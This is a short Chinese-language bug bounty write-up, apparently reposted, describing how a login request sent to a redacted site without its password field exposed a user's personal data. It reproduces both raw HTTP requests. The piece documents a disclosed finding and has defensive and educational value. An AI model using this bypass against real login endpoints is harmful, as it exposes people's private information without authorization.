记一次泄露PII的漏洞挖掘经历
2023-6-25 09:27:9 Author: HACK学习呀(查看原文) 阅读量:23 收藏

什么是PII(Personal Identifiable Information)

个人可识别信息

这是有关一个人的数据,这些数据能帮助识别这个人,如姓名、指纹、电子邮件地址、电话号码等。

我使用提供的凭据进行测试,提交了我的用户名和密码并收到以下请求:

POST /auth?subdomain=test&commonLoginQuery=true HTTP/1.1
Host: redact.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 25
Origin: redact.com
Referer: redact.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"login":"[email protected], "password": "test1337"}

我从请求中删除了密码字段及其值,如下:

POST /auth?subdomain=test&commonLoginQuery=true HTTP/1.1
Host: redact.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 25
Origin: redact.com
Referer: redact.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"login":"[email protected]"}

然后该用户的 PII 被泄露,并且显示了私人信息。

这是我收到的返回包:

有时,您需要尝试输入字段并处理一些意外行为。这就是为什么执行手动测试很重要,而不仅仅是依赖模糊测试,这可能会对网站造成损害。

推荐阅读:

实战 | 记一次条件竞争文件上传

618 | 2023年零基础+进阶系统化白帽黑客学习报名

实战 | 记一次赏金1.78万美金的Github未授权漏洞挖掘

实战|记一次5657美金赏金的XSS漏洞挖掘经历

实战 | 记一次PII 数据泄露和1500 美元的赏金


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDU1NDk2MA==&mid=2247512522&idx=1&sn=1c66e45a62c60314e804421dc981b2df&chksm=ec1ce4f5db6b6de3ce9152b58d037be3aa3fcb35ad76b96d03e7bfed6f8917de0eaf18683ced#rd
如有侵权请联系:admin#unsafe.sh